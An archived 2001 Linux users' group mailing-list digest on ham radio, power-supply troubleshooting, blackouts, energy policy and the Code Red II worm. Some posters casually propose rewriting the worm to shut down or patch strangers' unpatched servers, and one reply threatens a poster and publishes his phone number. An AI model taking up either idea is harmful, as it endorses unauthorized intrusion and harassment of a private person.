https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Thanks, Spencer J Sinn From lxy at cloudnet.com Mon Aug 6 13:01:10 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8428@mspexch2.office.mktw.net> Message-ID: On Mon, 6 Aug 2001, Austad, Jay wrote: > If you have your ham license, the max power you can use to transmit at > 2.4ghz goes from 1 watt, to 100 watts. The limits are lower on a high gain > antenna, but you still get more power. And you are immune to some city > zoning laws on how high your antenna can be. :) Everyone in ham radio is fascinted by the low (longer distance) frequencies. There's very little mention anywhere of the fun stuff you can do above 70cm. The problem with ham is that you're limited to 19.2 kps, which would make a COMPLETELY FREE dialup solution. If you're thinking cheap wireless, ham is probably not a solution but it'd be fun to mess with. For those of you on this list that have never considered ham radio, you might want to. It's a very nice geek medium that allows free communication over long distances. Yes, it's a geek hobby. You have to know geeky things to get a ham license. To any average geek a ham license is not hard to get.. basic math and some common sense will answer most of the test for you. Also, most hams have have shacks with lots of old hardware. Hamfests rock because shacks get cleaned out and stuff gets sold cheap. October 27 is the next Hamfest. http://www.hamfestmn.org/ And yes Jay, you can take your exam there. -Brian KC0IOG From dutchman at uswest.net Mon Aug 6 13:02:42 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Power and Motherboards References: <3B6E0D9B.8010004@uswest.net> <20010806100655.01df6047.blayer@qwest.net> Message-ID: <3B6EDBC2.9010009@uswest.net> Bill Layer wrote: > > Can you be more specific than 'no go'? To some, no-go means absolutely no > response from the power button, to others, it means that the supply, board > fans, lights etc come up, but the machine fails to POST. > I apologize, it is totally unresponsive to the power button. The outlet is hot. I was not aware that the power supply had an on/off position switch. The red switch in the back I thought was to change the voltage from US to European. It is an AOpen 300W by the way. I will try to scrounge up another ATX power supply to check out. > If it is totally unresponsive to the power button, the first things that > come to mind are: > > 1) You don't have the cord plugged in to a hot outlet. > 2) The power switch on the rear of ATX supply is in the OFF position. > 3) The power button on the case is misconnected to the motherboard power > (PWR) header. > 4) The power supply is defective. > > If you get fans, etc, but no POST or any beeps at all: > > 1) CPU is bad, or inserted wrong > 2) RAM is bad, or the wrong spec (note: you need Micron or other > brand-name RAM for an ABIT board, the generic M-tec parts from GNS will > *not* work.) I did not get it from GNS, it is from Tran Micro and yes it was generic or whatever their flavor of the month is on memory. > 3) Softmenu III settings in CMOS are not appropriate to the installed CPU > or RAM. Operate the CMOS clear jumper per the manual, to reset the CMOS > configuration. > > You didn't crack the CPU wafer when you were installing the fan, did you? > ;) God, I hope not! -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From rudie at sihope.com Mon Aug 6 14:03:28 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <3B6ED8EB.9030802@uswest.net> References: <3B6E0D9B.8010004@uswest.net> <20010805224851.A3017@monsoon.msi.umn.edu> <3B6ED8EB.9030802@uswest.net> Message-ID: <01080613032801.01095@localhost.localdomain> > There is nothing at all, even with the motherboard out of the case. By > this I mean, no power to anything, even the power supply fan does not > come on. > > All three DIMM slots are full. > There is really only 1 jumper, the CMOS jumper and it is set to the > normal position (as opposed to the delete CMOS position). All the rest > are set in the BIOS through Abit's SoftMenu system. > > > Thank you for the response. (shot in the dark) verify the switch on the back of the power supply is on. Swap power supplies double-triple check the board's manual for proper power switch lead pin location. Re-seat processor Yank out all cards that are non-essential. (sound,nic,etc) What board is this? I have had memory that was IN (looked like it was in, snapped in like it was in) but was not IN.. and machine wouldn't power up This Message Trimmed For YOUR Convienece! HTH -Kevin Hinze From rudie at sihope.com Mon Aug 6 14:07:01 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <20010806125322.A21527@sherohman.org> References: <20010806124344.S6692@ringworld.org> <20010806125322.A21527@sherohman.org> Message-ID: <01080613070102.01095@localhost.localdomain> > > NSP/excel is asking their desk-workers to turn off their lights at their > > cubes. > > > > I dont work there tho :) > > Yeah, up here in the northlands, I just heard the Stearns County power > company begging people to turn off lights, etc. between 5 and 9 > tonight, which is when they anticipate peak demand. > > > /me waits for the blackout. :) > > /me is glad that everything meanigful at home is UPSed. Wind Energy - the fastest growing alternative power supply. Here in MN we have almost 2% wind energy, which by 2015 (?) must be more than 15% as mandated to Xcel by MN legislature. Here in MN we have the wind energy potential to power our state 13x over. No More Blackouts! From foeclan at winternet.com Mon Aug 6 13:09:08 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <3B6ED8EB.9030802@uswest.net> Message-ID: If the power supply fan doesn't come on, and the outlet is hot, then your power supply probably doesn't work, either by being dead or by not having enough juice for your motherboard (though even then, the fan ought to turn on). -- Michael Vieths Foeclan@Winternet.Com On Mon, 6 Aug 2001, Perry Hoekstra wrote: > > There is nothing at all, even with the motherboard out of the case. By > this I mean, no power to anything, even the power supply fan does not > come on. > > From lxy at cloudnet.com Mon Aug 6 13:13:06 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? In-Reply-To: <20010806125527.U6692@ringworld.org> Message-ID: On Mon, 6 Aug 2001, Scott Dier wrote: > On that range at that power can you do 'commercial' activities or use > 'encryption'? 1. ham radio is for non-comm use only. You can't charge money for anything. 2. I think encryption falls in the lines of "codes and ciphers" which is explicitly forbidden. IIRC 2.4 Ghz is unregulated and you can do whatever you want to up there. "Ham" is restricted to frequencies designated by the FCC and I think only goes up to 1.2 Ghz or somewhere in there. If you're truly interested in trying to do some commercial wirelss stuff get your ham license and get hooked up with ham geeks. That way you'll learn everything you want to know about antennas, intrerference, power consumption, etc and also meet the right people who can help you out. A ham license will cost you a $6 testing fee. To study for the test I recommend reading through "Now You're Talking" and taking sample tests at www.hamtest.com. It took me about 3 weeks from start to test to get my license. -Brian From cfandre at fandre.com Mon Aug 6 13:14:01 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806125056.A11413@thor> Message-ID: <20010806131359.D3388@fandre.com> Apparently the cmd.exe/root.exe only has limited access which prevents you from doing useful things. But there are lots of cool ideas on slashdot: http://slashdot.org/article.pl?sid=01/08/05/1620220&mode=thread Spencer J Sinn [ssinn@qwest.net] wrote: > Why not rewrite it to patch the boxen? (apart from the legality...) > > On Mon, Aug 06, 2001 at 12:47:29PM -0500, Clay Fandre wrote: > > > > That only answers half of my questions. Anyone have time to modify the worm to go and shutdown all these damn unpatched boxes? Or better yes, have it download and boot a linux fs. > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > -- > Thanks, > > Spencer J Sinn > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From mglaser at mn.mediaone.net Mon Aug 6 13:18:28 2001 From: mglaser at mn.mediaone.net (Michael Glaser) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <3B6E0D9B.8010004@uswest.net> Message-ID: <200108061818.f76IIUa13634@mnmai05.mn.mediaone.net> I had a similar problem with my new setup which was based on the KT7A- RAID. When I got everything assembled and was ready to go, I hit the power button and the system started and then shut itself off after about 2 seconds. This happened several times before I took everything apart and and put it all back together again. The result was the same the second time around. Check pages G-1 and 2-12 of your manual. Try clearing the CMOS as described in the first question of the troubleshooting section. This is what did the trick for me. Not sure if this will help since your system is totally unresponsive. Mine at least started the fans spinning before it shut itself down. Mike From ssinn at qwest.net Mon Aug 6 13:11:35 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806131359.D3388@fandre.com>; from cfandre@fandre.com on Mon, Aug 06, 2001 at 01:14:01PM -0500 References: <20010806125056.A11413@thor> <20010806131359.D3388@fandre.com> Message-ID: <20010806131135.C11413@thor> On Mon, Aug 06, 2001 at 01:14:01PM -0500, Clay Fandre wrote: > Apparently the cmd.exe/root.exe only has limited access which prevents you from doing useful things. ... should read ... Apparently M$ Windows only has... -- Thanks, Spencer J Sinn From blutgens at sistina.com Mon Aug 6 13:22:39 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8428@mspexch2.office.mktw.net>; from austad@marketwatch.com on Mon, Aug 06, 2001 at 12:41:53PM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A8428@mspexch2.office.mktw.net> Message-ID: <20010806132239.B3548@minime.sistina.com> On Mon, Aug 06, 2001 at 12:41:53PM -0500, Austad, Jay wrote: >I take it this has something to do with wireless?? > >If you have your ham license, the max power you can use to transmit at >2.4ghz goes from 1 watt, to 100 watts. The limits are lower on a high gain >antenna, but you still get more power. And you are immune to some city >zoning laws on how high your antenna can be. :) There is a guy here at sistina that's into HAM big time, I can ask him if noone else knows. > >If someone knows when the next hamfest is in the twin cities, please tell >me. I keep planning on taking the test for the license, but most of the >time it's really early on a Saturday morning and I'm too lazy to roll out of >bed for it. Apparently, you can take the tests at the hamfest. > >Jay > >> -----Original Message----- >> From: Bob Tanner [mailto:tanner@real-time.com] >> Sent: Monday, August 06, 2001 1:59 AM >> To: tclug-list@mn-linux.org >> Subject: [TCLUG] OT (kind of): HAM radio operators? >> >> >> Are there any HAM radio operators on this list? >> >> Would you be willing to sit down and talk with me over >> lunch/dinner or a beer (my treat of course)? >> >> Contact me off-list via email or phone. >> >> I'll tie this into Linux eventually, just need to trust me. :-) >> >> -- >> Bob Tanner | Phone : (952)943-8700 >> http://www.mn-linux.org | Fax : (952)943-8500 >> Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@mn-linux.org >> https://mailman.mn-> linux.org/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010806/4fbe14ea/attachment.pgp From lxy at cloudnet.com Mon Aug 6 13:22:43 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806125056.A11413@thor> Message-ID: On Mon, 6 Aug 2001, Spencer J Sinn wrote: > Why not rewrite it to patch the boxen? (apart from the legality...) > Or better yes, have it download and boot a linux fs. Isn't this really the same question? :-) Ramen did that, it worked its way in on BIND or wu-ftpd and then patched the server before spreading. Dropping loadlin and an image with Apache on it would alos be considered 'patching the OS' :-) From crumley at belka.space.umn.edu Mon Aug 6 13:36:37 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <01080613070102.01095@localhost.localdomain>; from rudie@sihope.com on Mon, Aug 06, 2001 at 01:07:01PM -0600 References: <20010806124344.S6692@ringworld.org> <20010806125322.A21527@sherohman.org> <01080613070102.01095@localhost.localdomain> Message-ID: <20010806133637.A20865@gordo.space.umn.edu> On Mon, Aug 06, 2001 at 01:07:01PM -0600, K Hinze wrote: > > > > NSP/excel is asking their desk-workers to turn off their lights at their > > > cubes. > > > > > > I dont work there tho :) > > > > Yeah, up here in the northlands, I just heard the Stearns County power > > company begging people to turn off lights, etc. between 5 and 9 > > tonight, which is when they anticipate peak demand. > > > > > /me waits for the blackout. :) > > > > /me is glad that everything meanigful at home is UPSed. > Wind Energy - the fastest growing alternative power supply. Here in MN we > have almost 2% wind energy, which by 2015 (?) must be more than 15% as > mandated to Xcel by MN legislature. > Here in MN we have the wind energy potential to power our state 13x over. > No More Blackouts! But we don't have the storage technology to store that power for high power usage days when the wind isn't in blowing very hard. Like right now when the temp is 93 at MSP, but the wind is only 5 mph. -- Jim Crumley | Free Dmitry Sklyarov! crumley@fields.space.umn.edu | http://freesklyarov.org/ Work: 612 624-6804 or -0378 | From dutchman at uswest.net Mon Aug 6 13:43:52 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] Power and Motherboards References: Message-ID: <3B6EE568.10509@uswest.net> Michael Vieths wrote: > If the power supply fan doesn't come on, and the outlet is hot, then your > power supply probably doesn't work, either by being dead or by not having > enough juice for your motherboard (though even then, the fan ought to turn > on). On a different box, however, I had the motherboard grounding to the case and because of that, the power supply would not come on. I can't imagine a 300W AOpen not having enough oomph to at least power up an ABit motherboard. If you look at the certified power supplies for an AMD chip, there are a couple of 300W. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From jethro at freakzilla.com Mon Aug 6 13:51:49 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <20010806125322.A21527@sherohman.org> Message-ID: Hey, On Mon, 6 Aug 2001, Dave Sherohman wrote: > /me is glad that everything meanigful at home is UPSed. The only thing I really, REALLY need to have power right now is the air conditioner. The hell with the servers. I can live without the TV. I will seriously die if the AC goes out. No home-sized UPS will help you with that one, when it's 93 outside it gets to be 115 in my appartment. Remember me to my friends! (; -Yaron -- From rudie at sihope.com Mon Aug 6 14:50:52 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <20010806133637.A20865@gordo.space.umn.edu> References: <20010806124344.S6692@ringworld.org> <01080613070102.01095@localhost.localdomain> <20010806133637.A20865@gordo.space.umn.edu> Message-ID: <01080613505205.01095@localhost.localdomain> > > Wind Energy - the fastest growing alternative power supply. Here in MN we > > have almost 2% wind energy, which by 2015 (?) must be more than 15% as > > mandated to Xcel by MN legislature. > > Here in MN we have the wind energy potential to power our state 13x over. > > No More Blackouts! > > But we don't have the storage technology to store that power for high > power usage days when the wind isn't in blowing very hard. Like right > now when the temp is 93 at MSP, but the wind is only 5 mph. The wind is always blowing somewhere. It may be only 5mph where U are but places like Pine Ridge near Sandstone there are sustained winds often in excess of 22mph. Spread out the wind farms from iowa to canada and you will catch the wind wherever it is blowing. The stats of 13x over are from average wind speed, elevation, square area and distance from major power grid installations. No need for storage. The algorithm was set up by a German company to measure potential across Germany for sustained wind energy usage. Germany could power itself 3x over, we can do 13x. 106 turbines with 76meter diameter blades with a capacity of 1.5megawatt each are going in near sandstone this fall. From lxy at cloudnet.com Mon Aug 6 14:05:54 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <01080613070102.01095@localhost.localdomain> Message-ID: On Mon, 6 Aug 2001, K Hinze wrote: > Wind Energy - the fastest growing alternative power supply. Here in MN we > have almost 2% wind energy, which by 2015 (?) must be more than 15% as > mandated to Xcel by MN legislature. > Here in MN we have the wind energy potential to power our state 13x over. So, what's the deal on buying wind power? As I understand it, you don't really "buy" the power, you're actually investing in the company at this point. As they get more investors, the cost goes down. Anyone have info on this? -Brian From dave at droyer.org Mon Aug 6 14:07:17 2001 From: dave at droyer.org (Dave Royer) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: References: Message-ID: <997124838.3903.9.camel@merlin> On 06 Aug 2001 13:51:49 -0500, Yaron wrote: > Hey, > > The only thing I really, REALLY need to have power right now is the air > conditioner. The hell with the servers. I can live without the TV. I will > seriously die if the AC goes out. No home-sized UPS will help you with > that one, when it's 93 outside it gets to be 115 in my appartment. > Amen to that! 1/2 my building lost power last night and I ended up borrowing power off an outlet in the hallway outsite my apt just to power a fan. The computers can wait. (Now if it's -20 out and no power, those PIII chips would be nice and toasty, but that's for another month.) Dave Royer From bexley at daily.umn.edu Mon Aug 6 14:05:37 2001 From: bexley at daily.umn.edu (Benjamin Exley) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? In-Reply-To: <20010806125527.U6692@ringworld.org> References: <54180709DD3FE145917BB165AFE7EFA00A8428@mspexch2.office.mktw.net> Message-ID: <3B6EA430.25984.C573D3@localhost> On 6 Aug 2001, at 12:55, Scott Dier wrote: > * Austad, Jay [010806 12:44]: > > If you have your ham license, the max power you can use to transmit at > > 2.4ghz goes from 1 watt, to 100 watts. The limits are lower on a high gain > > antenna, but you still get more power. And you are immune to some city > > zoning laws on how high your antenna can be. :) > > On that range at that power can you do 'commercial' activities or use > 'encryption'? Don't think so. With a ham license you can't do either of those things ever (legally, anyway). Which begs the question of whether using ssh to access your box at work would be legal or not... Ben ----------- Benjamin Exley President The Minnesota Daily bexley@mndaily.com (612)627-4070 x3030 From bgilbertson at stonel.com Mon Aug 6 14:15:37 2001 From: bgilbertson at stonel.com (Bob Gilbertson) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? References: Message-ID: <3B6EECD9.D9CD710A@stonel.com> Brian is pretty much correct in his assessments. Only correction is that frequencies are available above 1.2 Ghz. Some links for those interested: http://www.fcc.gov/wtb/amateur/ http://www.arrl.org/FandES/field/regulations/allocate.html http://www.arrl.org/FandES/field/regulations/news/part97/ Bob, KA0Q Abbreviated for brevity :) Brian wrote: > > 1. ham radio is for non-comm use only. You can't charge money for > anything. > 2. I think encryption falls in the lines of "codes and ciphers" which is > explicitly forbidden. > IIRC 2.4 Ghz is unregulated and you can do whatever you want to up > there. "Ham" is restricted to frequencies designated by the FCC and I > think only goes up to 1.2 Ghz or somewhere in there. If you're truly > > -Brian From austad at marketwatch.com Mon Aug 6 14:34:30 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? Message-ID: <54180709DD3FE145917BB165AFE7EFA00A842F@mspexch2.office.mktw.net> Yeah, but even though 2.4ghz isn't a ham frequency, having your license will still make you immune from some zoning laws on antenna height. 2.4Ghz is 802.11's frequency, and with a tall antenna and a 24db dish antenna, you can get about 21 miles out of 150mw's of power on 802.11. With a 24db antenna, you can legally put out 250mw without a ham license. Since it's not a ham frequency, I don't know if you can transmit above that, but the guy from ingenious-nets.com made it sound like you could. He's got a lot of sweet equipment too to experiment with. Minimally, you'll need (on each end of your wireless link) a mast, a dish antenna (the 24db one is cheap and good), and a transmitter (the spider 2100 is about the cheapest you'll find on his site). For a transmitter, you could probably use a standard 802.11 card with an external antenna hookup. The spider units just act as a bridge. Jay > -----Original Message----- > From: Bob Gilbertson [mailto:bgilbertson@stonel.com] > Sent: Monday, August 06, 2001 2:16 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] OT (kind of): HAM radio operators? > > > Brian is pretty much correct in his assessments. Only > correction is that frequencies are available above 1.2 Ghz. > Some links for those interested: > http://www.fcc.gov/wtb/amateur/ http://www.arrl.org/FandES/field/regulations/allocate.html http://www.arrl.org/FandES/field/regulations/news/part97/ Bob, KA0Q Abbreviated for brevity :) Brian wrote: > > 1. ham radio is for non-comm use only. You can't charge money for > anything. 2. I think encryption falls in the lines of "codes and > ciphers" which is explicitly forbidden. > IIRC 2.4 Ghz is unregulated and you can do whatever you want to up > there. "Ham" is restricted to frequencies designated by the FCC and I > think only goes up to 1.2 Ghz or somewhere in there. If you're truly > > -Brian _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From chrome at real-time.com Mon Aug 6 14:55:42 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] Power and Motherboards In-Reply-To: <3B6EDBC2.9010009@uswest.net>; from dutchman@uswest.net on Mon, Aug 06, 2001 at 01:02:42PM -0500 References: <3B6E0D9B.8010004@uswest.net> <20010806100655.01df6047.blayer@qwest.net> <3B6EDBC2.9010009@uswest.net> Message-ID: <20010806145542.B17134@real-time.com> > I was not aware that the power supply had an on/off position > switch. The red switch in the back I thought was to change the voltage > from US to European. not all PS'es have power switches, unfortunately. :( I miss the days of AT power supplies; where 'off' meant 'OFF'; and physically disconnected power, instead of controlling some fiddly little solid-state bits which may or may not decide to do what the switch tells them to do. (depending on the OS, the phase of the moon, etc). Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From colin at tyr.med.umn.edu Mon Aug 6 15:00:54 2001 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <997124838.3903.9.camel@merlin> Message-ID: The problem with wind is the high cost of installation and maintence per unit of energy. In california nearly 30% of the wind generators are idle at any one time. We need to make the towers damn cheap first. My money is on nuclear, not like what we have now but like the way that europe does it. Small reactors that are standardized making maintence, safety, and regulation simple. Recycling the fuel helps too seriously reduce the amount of high risk waste. Colin Kilbane From drew at usfamily.net Mon Aug 6 09:11:04 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:25:36 2005 Subject: [TCLUG] more pointless posts to clog up your mailboxes. References: Message-ID: <3B6EA578.DC28F5C8@usfamily.net> . ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <3B6EA578.DC28F5C8@usfamily.net>; from drew@usfamily.net on Mon, Aug 06, 2001 at 03:11:04PM +0100 References: <3B6EA578.DC28F5C8@usfamily.net> Message-ID: <20010806152052.A19886@beaver.iucha.org> On Mon, Aug 06, 2001 at 03:11:04PM +0100, Andrew Nemchenko wrote: > > ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ Content-Description: Card for Andrew Nemchenko Indeed. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From austad at marketwatch.com Mon Aug 6 15:42:43 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] more pointless posts to clog up your mailboxes. Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8431@mspexch2.office.mktw.net> Wow, Usfamily.net sounds like it would be good for a family at $8.99/mo. However, I'd like to think of it as a family activity when we're all kicking your ass. Of course, we'll call you first at 651-697-0522 to let you know when we're going to come over and have some good old redneck family fun. > -----Original Message----- > From: Andrew Nemchenko [mailto:drew@usfamily.net] > Sent: Monday, August 06, 2001 9:11 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] more pointless posts to clog up your mailboxes. > > > > . > > > > ------ http://USFamily.Net/info - Unlimited Internet - From > $8.99/mo! ------ > From blayer at qwest.net Mon Aug 6 15:49:46 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:37 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to clog up your mailboxes.) In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8431@mspexch2.office.mktw.net> References: <54180709DD3FE145917BB165AFE7EFA00A8431@mspexch2.office.mktw.net> Message-ID: <20010806154946.35ba327e.blayer@qwest.net> On Mon, 6 Aug 2001 15:42:43 -0500 "Austad, Jay" wrote: > However, I'd like to think of it as a family activity when we're all kicking > your ass. Say, didn't this list used to be more geeking and less asskicking? =/ -.bill.layer.- -.hi, how are you? I send you this email to kick your ass.- -.frogtown.- -.minnesota.- -.u.s.a.- From veldy at veldy.net Mon Aug 6 16:55:30 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] OT: Lights Out? References: Message-ID: <000801c11ec2$82cf7fd0$0101a8c0@cascade> There is a new type of reactor that uses a new kind of fuel. Instead of using Uranium fuel "rods", it uses Uranium fuel "spheres" or "balls". Simply, when placed in proximity of each other, the fission reaction takes place. It is much easier to avoid a meltdown and I believe the cooling system is self contained, no need for cooling water. I think I read it was a closed helium heat exchange system. I saw an article on it in Time magazine a couple of months back. Seams much safer and more efficient to cool. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Colin Kilbane" To: Sent: Monday, August 06, 2001 3:00 PM Subject: Re: [TCLUG] OT: Lights Out? > The problem with wind is the high cost of installation and maintence per > unit of energy. In california nearly 30% of the wind generators are idle > at any one time. We need to make the towers damn cheap first. My money > is on nuclear, not like what we have now but like the way that europe does > it. Small reactors that are standardized making maintence, safety, and > regulation simple. Recycling the fuel helps too seriously reduce the > amount of high risk waste. > > Colin Kilbane > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From spencer at sihope.com Mon Aug 6 16:59:14 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:37 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to clog up your mailboxes.) In-Reply-To: <20010806154946.35ba327e.blayer@qwest.net>; from blayer@qwest.net on Mon, Aug 06, 2001 at 03:49:46PM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A8431@mspexch2.office.mktw.net> <20010806154946.35ba327e.blayer@qwest.net> Message-ID: <20010806165914.A8133@mudpiefoods.com> > > > Say, didn't this list used to be more geeking and less asskicking? =/ > It must be 96 degrees.People seem to get quite aggrevate once it hits 96 degrees. It is a law of humanity. Just can't get along at 96 degrees and above. > -.bill.layer.- > > -.hi, how are you? I send you this email to kick your ass.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From destef at destef.com Mon Aug 6 17:26:51 2001 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <20010806125322.A21527@sherohman.org> References: <20010806124344.S6692@ringworld.org> <20010806124344.S6692@ringworld.org> Message-ID: <200108062226.f76MQh224569@ernie.destef.com> >With the arrest of Dimitry Sklyarov it has become apparent that it is not >safe for non US software engineers to visit the United States. - Alan Cox >"To prevent unauthorized reading..." - Adobe eBook reader license Image an Adobe ad....in it is a police profile picture of Dimitry....convict numbers and all. Underneath the ad is written "Get caught reading." lol. Jason From chrome at real-time.com Mon Aug 6 17:31:52 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <000801c11ec2$82cf7fd0$0101a8c0@cascade>; from veldy@veldy.net on Mon, Aug 06, 2001 at 04:55:30PM -0500 References: <000801c11ec2$82cf7fd0$0101a8c0@cascade> Message-ID: <20010806173152.E28729@real-time.com> > There is a new type of reactor that uses a new kind of fuel. Instead of > using Uranium fuel "rods", it uses Uranium fuel "spheres" or "balls". > Simply, when placed in proximity of each other, the fission reaction takes > place. It is much easier to avoid a meltdown and I believe the cooling > system is self contained, no need for cooling water. I think I read it was > a closed helium heat exchange system. I saw an article on it in Time > magazine a couple of months back. Seams much safer and more efficient to > cool. I know a nuke plant inspector; and he told me a little about these things. they sound pretty cool... instead of having one huge reactor which generates X watts, you just have 10 small reactors which generate .1X watts each; and need >.1X the 'safety zone' each. I forget the exact figures he quoted for safe zones, power output, etc. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From austad at marketwatch.com Mon Aug 6 17:32:53 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:37 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to c log up your mailboxes.) Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8433@mspexch2.office.mktw.net> Yes yes... I thought it was spam. I'm tired, bored, hot, and very irritable today. :) Maybe I should just call Qwest and get it all out. > -----Original Message----- > From: SpencerUnderground [mailto:spencer@sihope.com] > Sent: Monday, August 06, 2001 4:59 PM > To: tclug-list@mn-linux.org > Subject: Re: Stop the Insanity (was: Re: [TCLUG] more > pointless posts to clog up your mailboxes.) > > > > > > > > > Say, didn't this list used to be more geeking and less > asskicking? =/ > > > > It must be 96 degrees.People seem to get quite aggrevate once > it hits 96 degrees. It is a law of humanity. Just can't get > along at 96 degrees and above. > > > -.bill.layer.- > > > > -.hi, how are you? I send you this email to kick your ass.- > > > > -.frogtown.- -.minnesota.- -.u.s.a.- > > > that is my opinion > > -- > SpencerUnderground > ||mailto:spencer@sihope.com|| > "I have no doubt that it is part of the destiny of the human > race in its gradual development to leave off the eating of > animals, as > surely as the savage tribes have left off eating each other > when they came in contact with the more civilized." Henry > David Thoreau _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From cart0196 at umn.edu Mon Aug 6 18:17:59 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:37 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8433@mspexch2.office.mktw.net> References: <54180709DD3FE145917BB165AFE7EFA00A8433@mspexch2.office.mktw.net> 